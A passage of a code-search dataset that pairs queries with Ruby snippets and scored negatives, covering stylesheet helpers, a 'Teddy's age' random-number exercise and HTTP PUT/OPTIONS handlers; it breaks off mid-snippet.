\"#{root_path}stylesheets/#{stylesheet_filename}\"\n end", "def compile_css(ios, mark_source=false)\n header = \"/*** %s ***/\\n\"\n Dir.glob(File.join(@ctx_app_root, \"**/*#{STYLESHEET_EXT}\")) do |file|\n if File.file? file\n ios << header % file.sub(\"#{@ctx_app_root}/\", '') if mark_source\n ios << File.read(file) << \"\\n\"\n end\n end\n ios\n end", "def css_template_filename\n self.class.name.downcase.gsub(/.*::/,'') << '.css.erb'\n end", "def test_custom_styling_with_webroot\n TmpDocDir.open() do |tmp_docs|\n # create a resource dir\n r_dir = \"#{tmp_docs.dir.to_s}/resources\"\n create_resource_dir r_dir\n\n web_root = Pathname(\"/my/web/root\")\n # create a doc in the 'subdir' folder.\n adoc_filename = tmp_docs.add_doc_from_str(@@test_doc, \"subdir\")\n args = [\"--log-level\", \"info\",\n \"-w\", web_root.to_s,\n \"-r\", r_dir,\n \"-s\", \"custom\",\n tmp_docs.dir,\n tmp_docs.dir]\n Giblish.application.run args\n\n # the link shall work when the doc is published on a web server\n # under the given web path\n expected_csslink = Pathname.new(\"/my/web/root/web_assets/css/custom.css\")\n\n tmp_docs.check_html_dom adoc_filename do |html_tree|\n css_links = html_tree.xpath('html/head/link')\n assert_equal 1,css_links.count\n\n css_links.each do |csslink|\n assert_equal \"stylesheet\", csslink.get(\"rel\")\n assert_equal expected_csslink.to_s, csslink.get(\"href\")\n end\n end\n end\n end", "def controller_stylesheet_link_tag\n stylesheet = \"#{params[:controller]}.css\" #e.g. home_controller =>assets/stylesheets/home.css\n #if stylesheet asset exists include it\n unless Rails.application.assets.find_asset(stylesheet).nil?\n stylesheet_link_tag stylesheet\n end\n end", "def theme_stylesheet_link_tag(theme_name, *sources)\n options = sources.extract_options!.stringify_keys\n cache = options.delete(\"cache\")\n recursive = options.delete(\"recursive\")\n sources = ThemeStylesheetSources.create(self, @controller, sources, recursive) do |cache_key, sources|\n cache_key << theme_name\n sources.theme_name = theme_name\n end\n \n if ActionController::Base.perform_caching && cache\n joined_stylesheet_name = (cache == true ? \"all\" : cache) + \".css\"\n segments = [ASSETS_DIR, 'themes', theme_name, 'stylesheets', joined_stylesheet_name]\n #segments.insert 1, 'cache'\n joined_stylesheet_path = File.join(*segments)\n \n sources.write_joined_asset_files_contents(joined_stylesheet_path) unless File.exists?(joined_stylesheet_path)\n theme_stylesheet_tag(theme_name, joined_stylesheet_name, options)\n else\n sources.write_asset_files_contents\n sources.expand_sources.collect { |source| theme_stylesheet_tag(theme_name, source, options) }.join(\"\\n\")\n end\n end", "def locale_stylesheet\n stylesheet = get_locale_stylesheet_uri\n return if stylesheet.blank?\n\n '<link rel=\"stylesheet\" href=\"' + stylesheet + '\" type=\"text/css\" media=\"screen\" />'\n end", "def inline_stylesheet( stylesheet, options = {} )\n\n # add the extension, if not already present\n stylesheet += \".css\" unless stylesheet.match(/\\.css$/)\n\n # look for the file, and bail if it doesn’t exist\n filename = asset_path_for( stylesheet )\n return unless File.exists?( filename )\n\n # read the file in, bail if it’s empty\n content = File.read( filename ).strip\n return if content.empty?\n\n # rewrite our content\n content.gsub!( /url\\(\"(.*?)\"\\)/ ){ |match| \"url(\\\"#{asset_url_for( $1 )}\\\")\" }\n\n # return a <STYLE> tag\n options[:media] ||= :screen\n tag(:style, options, true) + content.html_safe + '</style>'.html_safe\n end", "def css; end", "def css; end", "def css; end", "def getStyle\r\n return File.read('css/style.css') if File.file?('css/style.css')\r\n raise \"CSS file not found!\"\r\n end", "def css_bundle_filepath(files)\n bundle_filepath(WebResourceBundler::ResourceFileType::CSS, files)\n end" ]
[ "0.79782635", "0.79519695", "0.79519695", "0.7536401", "0.7266992", "0.718946", "0.69582593", "0.6823336", "0.6636478", "0.65815246", "0.6544558", "0.65318906", "0.65318906", "0.6505208", "0.65002185", "0.64736766", "0.6457578", "0.6413113", "0.6407781", "0.63952714", "0.6357972", "0.62992907", "0.62911105", "0.6271994", "0.6268517", "0.6259611", "0.6243856", "0.623859", "0.6236392", "0.6193079", "0.6175997", "0.6143376", "0.61374474", "0.61328745", "0.60988", "0.6097404", "0.60923856", "0.60704386", "0.60410845", "0.603166", "0.60217965", "0.5988627", "0.5980435", "0.5971747", "0.5971673", "0.596941", "0.596668", "0.59618086", "0.5957361", "0.59466654", "0.59461516", "0.5943667", "0.5922669", "0.5914616", "0.5891738", "0.5887078", "0.5867777", "0.58662736", "0.5852215", "0.5832778", "0.58294946", "0.5806597", "0.57970214", "0.57888705", "0.57839185", "0.5778884", "0.5774658", "0.5771182", "0.5771182", "0.57709056", "0.57529664", "0.5747298", "0.5736175", "0.57309115", "0.5690414", "0.5683814", "0.5681779", "0.5676747", "0.56697416", "0.5662003", "0.56598175", "0.56542015", "0.56539893", "0.56368196", "0.56315833", "0.5613672", "0.5612129", "0.5611773", "0.55907345", "0.5584861", "0.55781096", "0.5538684", "0.5538065", "0.5534747", "0.55330515", "0.5528705", "0.5528705", "0.5528705", "0.5522821", "0.54973257" ]
0.7362136
4
Build a program that randomly generates and prints Teddy's age. To get the age, you should generate a random number between 20 and 200. Example Output Teddy is 69 years old! input => generate a random number between 20 and 200 output => print out a string that includes Teddy's generated age abstraction => set Teddy's age as a sample a number from the range 20 to 200. Then => print out a string that includes Teddy's age
def random_age rand(20...200) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def age\n puts \"Teddy is #{rand(20...200)} years old!\"\nend", "def teddys_age\n puts \"Teddy's age is #{rand(20..200)}\"\nend", "def age\n puts \"Now the Gods are assigning a power to #{@name}. This is up to the Gods alone.\"\n sleep 3\n @age = rand(10..100)\n\n puts \"Attention!!!\"\n puts \"The Gods have given #{@name} the age of #{@age}, and the Gods have willed that age shall determine strength. A power of 1 is no more powerful than a fly, while a power of 100 is near God like power\"\n sleep 3\n if @age > 50\n puts \"Attention! #{@name} has been brought into existence, now listen\"\n sleep 3\n puts \"'My name is: #{@name}. My age is: #{@age} and which means my power is #{@age}I am frightening to most other monsters though to the Gods I am still a mere gnat-- thank you for creating me and praise be to the Gods for my great powers'\"\n else\n puts \"Attention! The Gods are awakening #{@name}\"\n sleep 3\n puts \"'I am #{@name}. I am #{@age} and this means the Gods have only given\n me a power of #{@age}'\"\n sleep 3\n puts \"The Gods have given me tiny powers. My powers equal a mere: #{@age} I am unlikely to be more powerful than most monsters and to a monster with a power > 50 'I am what a mouse is to an elephant'\"\n end\n end", "def name_age(name = 'Teddy')\n age = rand(2..200)\n puts \"#{name} is #{age} years old!\"\nend", "def print_age(name = 'Teddy')\n puts \"#{name} is #{rand(20..200)} years old today!\"\nend", "def print_name_age()\n puts \"Please enter name:\"\n name = gets.chomp\n name = \"Teddy\" if name == ''\n age = rand(20..200)\n puts \"#{name} is #{age} years old!!!\"\nend", "def guess_age()\n return rand(17..20)\n end", "def teddy_age\n age = (20..200).to_a.sample\n puts \"Teddy's age is #{age} years old!\"\nend", "def age\n n = rand(55..120)\nend", "def teddy_age\n puts \"Give us a name!:\"\n name = gets.chomp.capitalize\n name = 'Teddy' if name == ''\n\n puts \"#{name} is #{rand(20..200)} years old!\"\nend", "def how_old_is_teddy(name=\"Teddy\")\n puts \"Whose age shall we proclaim today?\"\n name = gets.chomp\n puts \"#{name.capitalize} is #{rand(20..200)} years old!\"\nend", "def teddy_age(name='Teddy')\n loop do \n puts \"Please enter a name:\"\n name = gets.chomp\n break if name.is_a? String\n \"Please enter a valid name!\"\n end\n \n if name == ''\n name = 'Teddy'\n end\n age = Kernel.rand(20..200)\n puts \"#{name} is #{age} years old!\"\nend", "def teddys_age(name = \"Teddy\")\n puts \"Please enter name:\"\n name = gets.chomp\n\n if name == '' || name.empty?\n puts \"Teddy is #{rand(20..200)} years old!\"\n else\n puts \"#{name} is #{rand(20..200)} years old!\"\n end\nend", "def dog_years(owner_age)\n dog_age = owner_age * 7\n puts \"If owner's age is #{owner_age}, then dog's age in human years is #{dog_age}\"\n end", "def age!\n #tree aging code goes here\n @age += 1\n @height += rand(100..400)\n rand(50..100).times {@pears << Pear.new(rand(10..40))} if @age > FRUIT_SEASON_TIME\n end", "def dog_years(n)\n \tage = n * 7\n \t\"The dog is #{age} years old!\"\n end", "def dog_years(x)\n\t\tdog_age = x * 7\n\t\tputs \"I am (secretly) #{dog_age} years old.\"\n\tend", "def age!\n #tree aging code goes here\n @age += 1\n @height += rand(100..400)\n rand(50..100).times {@apples << Apple.new(rand(10..40))} if @age > FRUIT_SEASON_TIME\n end", "def age!\n @age += 1\n @height += 3\n if @age >=6 && @age <=60\n until @oranges.length >= rand(1..20)\n @oranges << Orange.new(rand(1..5))\n end\n end\n end", "def dog_years(age)\n\t if age <= 0 && age >= 100\n\t\t puts \"Invalid age. The age should be between 1 and 99\"\n \t elsif age == 1 || age == 2\n \t\t dog_age = age * 10.5\n \t\t puts \"The human age is #{age} and the dog age is #{dog_age}\"\n \t else \n \t\t dog_age = ((age - 2) * 4) + (2 * 10.5) \n \t\t puts \"The human age is #{age} and the dog age is #{dog_age}\"\n \t end\n \t dog_age\n end", "def age!\n #tree aging code goes here\n @age += 1\n @height += rand(100..400)\n rand(50..100).times {@oranges << Orange.new(rand(10..40))} if @age > FRUIT_SEASON_TIME\n end", "def one_year_passes\n if @age >= 46\n puts \"The orange tree has died at the age of #{@age}\"\n exit\n end\n @age +=1\n @height += 0.8\n\n if fruit_bearing?\n @bears_fruit = true\n end\n puts \"All the oranges from last season has fallen off during the cold winter\"\n puts \"But new oranges sprout again this summer\"\n # Add an random amount of fruit\n if @bears_fruit\n if @age < 10\n @oranges = 38+rand(10)\n elsif @age < 40 and @age >=10\n @oranges = 70+rand(24)\n else\n @oranges = rand(40)\n end\n end\n end", "def some_age(string)\n string = \"Teddy\" if string == \"\"\n \"#{string} is #{rand(20..200)} years old!\"\nend", "def dog_years(human_age)\n dog_years = human_age * 7\n p dog_years\n end", "def dog_years(human_years)\n dog_age = human_years * 7\n puts \"Ole is #{dog_age} in dog years.\"\n end", "def ageCalculator(age)\n age = age.to_i\n puts \"Your age in 10 years\"\n puts \"#{age + 10}\"\n puts \"Your age in 20 years\"\n puts \"#{age + 20}\"\n puts \"Your age in 30 years\"\n puts \"#{age + 30}\"\n puts \"Your age in 40 years\"\n puts \"#{age + 40}\"\nend", "def about\n puts \"This santa is #{@age} years old, #{@gender} and #{@ethnicity}.\"\n end", "def oneYearPasses\n\n # accidental deaths\n if rand < 0.08\n @dead = true\n case rand(3)\n when 0\n return 'Your tree was struck by a bolt of lightning and died!'\n when 1\n return 'The orange tree was infected by a plague and you couldn\\'t ' +\n 'cure it.'\n else\n return 'Your neighbor accidentally bumped into your tree with his ' +\n 'truck and killed it'\n end\n end\n\n # age-related deaths; minimum age is 3, more likely do die when older,\n # cannot live past 12 years\n if !@dead && age > rand(10) + 2\n @dead = true\n if rand < 0.5\n return 'Your tree is too old and fell over'\n else\n return 'The orange tree withered and died'\n end\n end\n\n @age += 1\n @height += 8 + rand(8)\n oldOranges = @oranges\n # grow oranges after 2 years\n @oranges = age + rand(age / 2) if @age > 2\n return \"#{oldOranges} orange#{(oldOranges == 1)? '' : 's'} fell to the\" +\n ' ground because you didn\\'t pick ' +\n \"#{(oldOranges == 1)? 'it' : 'them'}\" if oldOranges > 0\n return 'Another year went by with nothing happening'\n\n end", "def find_your_age\n\tputs(\"How old are you?\")\n\tuser_age = gets.strip.to_i\n\tif user_age >= 21\n\t\tputs(\"Yay, have a beer!\")\n\telse\n\t\tputs(\"Nay, don't have a beer!\")\n\tend\n\tputs(\"And that's all folks!\")\nend", "def age!\n @age += 1\n @height += 0.5\n rand(100).times {@num_of_oranges << Orange.new(rand(0.5))} if @age > 4\n end", "def dog_years(age)\n \thuman_year = age * 7\n \tp human_year.to_i\n end", "def retirement\n puts \"What is your age?\"\n age = gets.chomp.to_i\n puts \"At what age do you want to retire?\"\n retirement_age = gets.chomp.to_i\n birth_year = (2018 - age)\n puts \"It's 2018, you will retire in #{birth_year+retirement_age}\"\n puts \"You only have #{retirement_age - age} years to go!\"\nend", "def how_old_is(name)\n age = rand(20..200)\n name = 'Teddy' if name.empty?\n \"#{name} is #{age} years old!\"\nend", "def age_beer(age)\n\tif age > 21\n\t\tputs \"Yay, have a beer!\"\n\telsif age < 21\n\t\tputs \"Nay, don't have a beer\"\n\telse\n\t\tputs \"Happy Birthday!\"\n\tend\nend", "def report_age\n puts \"#{@name} is #{@age} years old\"\n end", "def report_age\n puts \"#{@name} is #{@age} years old.\"\n end", "def report_age\n puts \"#{@name} is #{@age} years old.\"\n end", "def report_age\n puts \"#{@name} is #{@age} years old.\"\n end", "def main\n puts 'What is your name?'\n puts 'Please enter your name: '\n\tname = gets\n\tputs 'Your name is ' + name + '!'\n\tputs 'What is your family name?'\n\tfamily_name = gets.chomp\n\tputs 'Your family name is: ' + family_name + '!'\n\tputs 'What year were you born?'\n\tyear_born = gets.to_i\n # Calculate the users age\n current_year = Date.today.year\n\tage = (current_year - year_born)\n\tputs 'So you turn ' + age.to_s + ' years old this year'\n puts 'Enter your height in metres (i.e as a float): '\n\tvalue = gets.to_f\n\tvalue = value * INCHES * 100\n\tputs 'Your height in inches is: '\n\tputs value.to_s\n\tputs 'Finished'\nend", "def age\n puts \"The age of the #{model} is #{calculate_age}.\"\n end", "def santa_maker(num)\n genders = [\"male\", \"female\", \"gender fluid\", \"trans*\", \"agender\", \"other\", \"prefer not to say\"]\n ethnicities = [\"black\", \"white\", \"Asian\", \"Native American\", \"Latino\", \"Arab\", \"Persian\", \"Aboriginal Australian\", \"other\"]\n santa_num = 1\n\n num.times do\n gender = genders.sample\n ethnicity = ethnicities.sample\n age = rand(0..140)\n puts \"\"\n puts \"Creating Santa no. #{santa_num}\"\n santa = Santa.new(gender, ethnicity, age)\n\n puts \"Gender: #{santa.gender}\"\n puts \"Ethnicity: #{santa.ethnicity}\"\n\n\n santa_num += 1\n end\nend", "def how_much_longer_to_retirement\n puts \"What is your age?\"\n current_age = gets.to_i\n\n puts \"What age would you like to retire?\"\n retirement_age = gets.to_i\n\n years_to_retirement = retirement_age - current_age\n year_of_retirement = 2020 + years_to_retirement\n\n puts \"It's 2020. You will retire in #{year_of_retirement}.\"\n puts \"You only have #{years_to_retirement} years of work to go!\"\nend", "def person_age(name, age)\n age_in_hours = age * 8760\n puts \"Hi #{name.upcase}\"\n puts \"Your #{age} in hours is #{age_in_hours}\"\nend", "def retirement_timeline\n puts \"Hey! How old are you?\"\n curr_age = gets.chomp.to_i\n \n puts \"At what age do you want to retire?\"\n retired_age = gets.chomp.to_i\n \n current_year = Time.new.year\n \n puts \"You will retire in the year #{retired_age - curr_age + current_year}\"\n puts \"meaning you still have to suffer for another #{retired_age - curr_age} years\"\nend", "def years\n case @age\n when 1..5 then puts \"You are a baby\"\n when 6..12 then puts \"You are a child\"\n when 13..21 then puts \"You are a young people\"\n when 22...35 then puts \"You are adult\"\n end\n end", "def praise_person(name, age)\n puts \"#{name} is amazing\"\n puts \"#{name} is charming\"\n puts \"#{name} is talented\"\n puts \"#{name} is #{age} years old\"\n puts \"In 5 years he is going to be #{age + 5}\"\nend", "def non_target_elderly_driver_birth_date\n Chronic.parse(\"#{rand(94..100)} years ago\").strftime('%m/%d/%Y')\n end", "def celebrate_birthday\n @age = @age + 1\n puts \"It's Santa's Birthday! He is now #{@age} years old!\"\n end", "def calculatedAge\n\t\t#puts \"please, insert the age than you need calcaulated\"\n\t\t#ageAux = gets.chomp.to_i\n\t\t@age<=35? result=@age*365*24 : result=\"Age can not be calculated\"\n\t\tresult\n\tend", "def happy_birthday(name: \"Beyonce\", current_age: 31)\n puts \"Happy Birthday, #{name}\"\n current_age += 1\n puts \"You are now #{current_age} years old\"\n end", "def elderly_driver_birth_date\n Chronic.parse(\"#{rand(65..94)} years ago\").strftime('%m/%d/%Y')\n end", "def dog_years(integer)\n dog_years = integer*7\n puts \"#{integer} human years is equal to #{dog_years} dog years.\"\n end", "def test_age_of_person()\n age = age_of_person(1987,10,16)\n assert_equal(28, age)#returning 29 because I am 28 and x amount of days old. I haven't specified days \n #so will round up? Decided to put in '-1' to take the rounded up year off for final result.\n end", "def age!\n @dead = true if age > 10\n if dead?\n puts \"That which is dead is eternal.\"\n else\n @age += 1\n puts \"The tree is now #{age} years old.\"\n bloom\n end\n end", "def nameandageprint\n puts 'What is your name?'\n uname = gets.chomp\n puts 'What is your age?'\n uage = gets.chomp\n puts \"Your Name is #{uname}\"\n puts \"Your age is #{uage}\"\nend", "def about\n\t\tputs \"Your gender is #{@gender}!\"\n\t\tputs \"Your ethnicity is #{@ethnicity}!\"\n\t\tputs \"Here is the #{@reindeer_ranking}!\"\n\t\tputs \"Santa is #{age} year(s) old!\"\n\tend", "def celebrate_birthday(age)\n\t\tage += 1\n\t\tputs \"Happy birthday! You are now #{age} years old!\"\n\t\tputs \"\"\n\tend", "def adult_birth_date\n Chronic.parse(\"#{rand(18..19)} years ago\").strftime('%m/%d/%Y')\n end", "def check_legality(age)\n\tprint \"You are #{age}, \"\n\tif age >=18\n\t\tputs \"Drink up to numb the pain\"\n\telse\n\tputs \"You gotta wait for legality!\"\n\tend\nend", "def display_age(age)\n years = months = weeks = 0\n if age <= 24\n return \"#{age} weeks\"\n else\n months = age / 4\n weeks = age % 4 == 0 ? 0 : age % 4\n if months > 11\n years = months / 12\n months = months % 12 == 0 ? 0 : months % 12\n end\n result = \"\"\n if (years > 0 )\n result = result + pluralize(years, \"year\")\n end\n if (months > 0)\n result = result + \" \" + pluralize(months, \"month\")\n end\n if (weeks > 0)\n result = result + \" \" + pluralize(weeks, \"week\")\n end\n return result\n end\n end", "def about_me\n puts \"I'm #{@name} and I'm #{@age} years old!\"\n end", "def about_me\n puts \"I'm #{@name} and I'm #{@age} years old!\"\n end", "def about_me\n puts \"I'm #{@name} and I'm #{@age} years old!\"\n end", "def about_me\n puts \"I'm #{@name} and I'm #{@age} years old!\"\n end", "def happy_birthday(birthday_kids)\n puts \"Happy Birthday Timmy! You are now 9 years old!\\nHappy Birthday Sarah! You are now 6 years old!\\nHappy Birthday Amanda! You are now 27 years old!\\n\"\nend", "def output_age\n puts @age\n end", "def celebrate_birthday\n\t\t@age = @age + 1\n\t\tputs \"Im #{@age}\"\n\tend", "def age!\r\n\t\tp ages\r\n\tend", "def about_me\r\n puts \"I'm #{@name} and I'm #{@age} years old!\"\r\n end", "def santa_generator(num)\n\t@santas = []\n\texample_names = [\"Sarah\", \"Sting\", \"Sigmond\", \"Stella\", \"Stephen\", \"Sidney\", \"Singin\"]\n\texample_genders = [\"agender\", \"female\", \"bigender\", \"male\", \"female\", \"gender fluid\", \"N/A\"]\n\texample_ethnicities = [\"black\", \"Latino\", \"white\", \"Japanese-African\", \"prefer not to say\", \"Mystical Creature (unicorn)\", \"N/A\"]\n\t\n\tnum.times do |num|\n\n\tnew_santa = Santa.new(example_names.sample(example_names.length), example_genders.sample(example_genders.length), example_ethnicities.sample(example_ethnicities.length)) \n\t\t\t\t# name = example_names.rand(example_name.length)\n\t\t\t\t# gender = example_genders.rand(example_genders.length)\n\t\t\t\t# ethnicity = example_ethnicities.rand(example_ethnicities.length)\n\t\t\t\t\n\t\t\t\t\t new_santa.age = (1..140).to_a.sample\n\n\n# Emmanual said these sage words otherwise there is no variable to accept the random number\n\n# [11:21] \n# if you had another method that created age and called it before this that would work too\n\n# [11:21] \n# basically, initialize sets all of the basic information for the class. What needs to exist for this class to exist\n\t@santas << new_santa\n\t\t# index = 0 do |num|\n\t\t# \tuntil num == index \n\t\t# \t\tname = example_names.rand(example_name.length)\n\t\t# \t\tgender = example_genders.rand(example_genders.length)\n\t\t# \t\tethnicity = example_ethnicities.rand(example_ethnicities.length)\n\t\t# \t\tage = Random.rand(141)\n\t\t# \tsantas << Santa.new (name, gender,ethnicity)\n\t\t# \t# name = example_names(rand(example_name.length)\n\t\t# \t# gender = example_genders(rand(example_genders.length)\n\t\t# \t# ethnicity = example_ethnicities(rand(example_ethnicities.length)\n\t\t# \t# age = Random.rand(141)\n\n\t\t# index += 1\n\t\n\tend\nend", "def print_name_age(name, age)\n puts \"#{name} is #{age} years old!\"\nend", "def retire\nputs \"What is your age?\" \nage = gets.chomp.to_i\nputs \"When do you want to retire?\"\ndesired_retirement = gets.chomp.to_i\n\ncurrent_year = Time.now.year\n\nyears_before_retirement = desired_retirement - age\nretirement_year = current_year + years_before_retirement\n\nputs \"It's #{current_year}. You will retire in #{retirement_year}.\"\nputs \"You have only #{years_before_retirement} years of work to go!\"\nend", "def age\n \n end", "def dog_years(human_years)\n dog_years = human_years * 7\n p \"#{human_years} human years * 7 dog years = #{dog_years} dog years.\"\n end", "def teen_smart_birth_date\n Chronic.parse(\"#{rand(16..20)} years ago\").strftime('%m/%d/%Y')\n end", "def dog_years(years)\n\t\tnew_years = years * 7\n\t\tputs new_years\n\tend", "def retire\n require 'date'\n\n puts \"What is your age?\"\n age = gets.chomp.to_i\n\n puts \"At what age would you like to retire?\"\n retire_at = gets.chomp.to_i\n\n current_year = DateTime.now.year\n when_will_retire = retire_at - age\n year_to_retirement = current_year + when_will_retire\n\n puts \"It's #{current_year}. You will retire in #{current_year + when_will_retire}.\"\n puts \"You have only #{year_to_retirement - current_year} years of work to go!\"\nend", "def about_person\n\t\tputs \"Name: #{name}, agr: #{age}\"\n\tend", "def print\n puts \"My name is #{@name} and I am #{@age} y.old\"\n end", "def can_you_drink(age)\n\tif age.to_i < 21\n\t\tputs \"Nay don't have a beer!\"\n\telse\n\t\tputs \"Yay, have a beer!\"\n\tend\nend", "def happy_birthday(name:, current_age:)\n puts \"Happy Birthday, #{name}\"\n current_age += 1\n puts \"You are now #{current_age} years old\"\n end", "def dog_years(a)\n dog_age = a * 7\n puts dog_age\n end", "def age!\r\n @hen_age += 1\r\n 4.times do\r\n if @hen_age > 3\r\n @eggs << Egg.new\r\n @number_of_eggs += 1\r\n end\r\n end\r\n end", "def get_details\n\t#Your code here\n\tprint \"What is your name? \"\n\tname = gets.chomp\n\tprint \"Hi #{name}! How old are you? \"\n\tage = gets.chomp.to_i\n\tputs \"Wow! You are #{age} years old. In #{100-age} years, you will be 100!\"\nend", "def create_person\n free = [\"mornings\", \"evenings\", \"always\", \"afternoons\", \"weekends\", \"none\"].sample\n\n person = Person.create(\n name: Faker::Movies::HitchhikersGuideToTheGalaxy.character,\n free_time: free,\n age: rand(11...70)\n )\nend", "def output_age(i_am_a_parameter)\n puts (i_am_a_parameter)\n end", "def output_age(i_am_a_parameter)\n puts (i_am_a_parameter)\n end", "def main\n\tputs 'What is your name?'\n\tname = gets.chomp\n\tputs 'Your name is ' + name + '!'\n\tputs 'What is your family name?'\n\tfamily_name = gets.chomp\n\tputs 'Your family name is: ' + family_name + '!'\n\tputs 'What year were you born?'\n\tyear_born = gets.to_i\n\tage = Date.today.year - year_born\n\tputs 'So you are ' + age.to_s + ' years old'\n\tputs 'Enter your height in cms (i.e as a float): '\n\theight = gets.to_f\n\theight_inches = height * INCHES\n\tputs 'Your height in inches is: '\n\tputs height_inches\n\tputs 'Finished'\nend", "def introduce()\r\n\t\tprint \"I am #{@name}, I am #{@age} years old\"\r\n\r\nend", "def year\n puts \"Please enter a year:\"\n print \"> \"\n year = gets.chomp.to_s\n puts \"Fantasic! You have answered #{year}\".colorize(:light_blue)\n year = year.to_i\n case year\n when 0..500\n puts \"year 0 to 500AD\"\n return 1\n when 501..1000\n puts \"year 501AD to 1000AD\"\n return 2\n when 1001..1500\n puts \"year 1001 to the 1500\"\n return 3\n when 1501..2000\n puts \"1501 to 2000\"\n return 4\n when 2001..2020\n puts \"Current time : 2001 to 2020\"\n return 5\n when 2020..7000\n puts \"The future 2020 to 3000 and beyond!\"\n return 6\n else\n puts \"Time jump not defined. Set to random jump time\"\n return year\n end\nend", "def introduce\n puts \"Hi my name is #{name} and I am #{age} years old\"\n end", "def encourage\n r = rand(4)\n if r == 0\n puts \"Watch out world, here comes the next great multiplier!\\n\"\n elsif r == 1\n puts \"I haven't seen these kind of skills since ancient Egypt!\\n\"\n elsif r == 2\n puts \"You're so good you could take on Einstein!\\n\"\n else\n puts\"You're really tearing it up now!\\n\"\n end\nend", "def good_student_birth_date\n Chronic.parse(\"#{rand(16..24)} years ago\").strftime('%m/%d/%Y')\n end", "def age!\r\n @age += 1;\r\n lay_egg(@age);\r\n end", "def check_age(age)\n if age == \"quit\"\n puts \"bye!\"\n else\n age = age.to_i\n case age\n when 0...18\n puts \"You can do nothing\"\n when 18...21\n puts \"I can vote\"\n puts \"I can smoke\"\n when 21...25\n puts \"I can vote\"\n puts \"I can smoke\"\n puts \"I can drink\"\n when 25..100\n puts \"I can vote\"\n puts \"I can smoke\"\n puts \"I can drink\"\n puts \"I can rent a car\"\n else\n puts \"hmm?\"\n puts age == 12\n end\n\n puts \"\\nHow old are you?\"\n check_age(gets.chomp)\n end\nend", "def who\n p \"This cat is #{@colour} and #{@age} years old and #{@evilness} evil.\"\n end", "def name_tag_generator(first,last,gender,age)\n\tif gender == 'f'\n\t\tif age < 19\n\t\t\tputs \"Miss #{first} #{last}\"\n\t\telse\n\t\t\tputs \"Ms #{first} #{last}\"\n\t\tend\n\t\telse\n\t\t\tputs \"Mr #{first } #{last}\"\n\tend\n\n\nend", "def dog_age(age)\r\n if age <= 2\r\n return age * 10.5\r\n else\r\n return 21 + (age - 2) * 4\r\n end\r\nend", "def celebrate_birthday\n @age = @age + 1\n if @age == 1\n puts \"Happy birthday! Now you're #{@age} year old!\"\n else\n puts \"Happy birthday! Now you're #{@age} years old!\"\n end\n end", "def full_adult_birth_date\n Chronic.parse(\"#{rand(21..63)} years ago\").strftime('%m/%d/%Y')\n end" ]
[ "0.8357168", "0.8152351", "0.7627153", "0.7616811", "0.7571686", "0.75272936", "0.7494079", "0.7372679", "0.71779984", "0.7085186", "0.7073363", "0.70451415", "0.7014921", "0.69669366", "0.694179", "0.68594265", "0.68324447", "0.68190134", "0.67654616", "0.6763808", "0.67300755", "0.6708827", "0.6646625", "0.6614488", "0.6569539", "0.6550349", "0.6540434", "0.65322363", "0.651824", "0.6499323", "0.6498041", "0.6487358", "0.64721894", "0.6458234", "0.6439029", "0.64241695", "0.64241695", "0.64241695", "0.638415", "0.6357388", "0.6318431", "0.6293826", "0.6281587", "0.62751603", "0.62629217", "0.6262076", "0.62475085", "0.6230405", "0.6228416", "0.62102646", "0.61960995", "0.6194097", "0.6190203", "0.6180699", "0.6173045", "0.6172265", "0.6145695", "0.6142159", "0.61177003", "0.60841155", "0.6082465", "0.6082465", "0.6082465", "0.6082465", "0.60787463", "0.60784686", "0.60744786", "0.60705686", "0.60694706", "0.6061374", "0.60534674", "0.6047391", "0.6024786", "0.6024184", "0.60216665", "0.6014769", "0.6007682", "0.60047966", "0.60046816", "0.60007036", "0.59921974", "0.59902406", "0.5987995", "0.5987071", "0.5984616", "0.5961566", "0.5961566", "0.5957848", "0.5955528", "0.5948213", "0.59466827", "0.59308976", "0.5929363", "0.5928852", "0.5927092", "0.59200853", "0.59178776", "0.5900834", "0.5896151", "0.5889468" ]
0.7187935
8
This method is not needed for PUT but I added for completeness
def do_OPTIONS(_req, res) res['allow'] = 'GET,HEAD,POST,OPTIONS,CONNECT,PUT,PATCH,DELETE' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_method\n :http_put\n end", "def create_method\n :http_put\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n\t\t# Left empty intentionally.\n\tend", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update\n super\n response.status = :unprocessable_entity if resource&.errors&.any?\n end", "def create_method\n :put_json\n end", "def put!\n request! :put\n end", "def put\n raise NotImplementedError\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def put(request, response)\n NotImplemented\n end", "def put(request, response)\n NotImplemented\n end", "def update\n respond_with []\n end", "def http_put(request, response)\n body = request.body_as_stream\n path = request.path\n\n # Intercepting Content-Range\n if request.header('Content-Range')\n # An origin server that allows PUT on a given target resource MUST send\n # a 400 (Bad Request) response to a PUT request that contains a\n # Content-Range header field.\n #\n # Reference: http://tools.ietf.org/html/rfc7231#section-4.3.4\n fail Exception::BadRequest, 'Content-Range on PUT requests are forbidden.'\n end\n\n # Intercepting the Finder problem\n expected = request.header('X-Expected-Entity-Length').to_i\n if expected > 0\n # Many webservers will not cooperate well with Finder PUT requests,\n # because it uses 'Chunked' transfer encoding for the request body.\n #\n # The symptom of this problem is that Finder sends files to the\n # server, but they arrive as 0-length files in PHP.\n #\n # If we don't do anything, the user might think they are uploading\n # files successfully, but they end up empty on the server. Instead,\n # we throw back an error if we detect this.\n #\n # The reason Finder uses Chunked, is because it thinks the files\n # might change as it's being uploaded, and therefore the\n # Content-Length can vary.\n #\n # Instead it sends the X-Expected-Entity-Length header with the size\n # of the file at the very start of the request. If this header is set,\n # but we don't get a request body we will fail the request to\n # protect the end-user.\n\n # Only reading first byte\n first_byte = body.read(1)\n unless first_byte\n fail Exception::Forbidden, 'This server is not compatible with OS/X finder. Consider using a different WebDAV client or webserver.'\n end\n\n # The body needs to stay intact, so we copy everything to a\n # temporary stream.\n\n new_body = StringIO.new\n 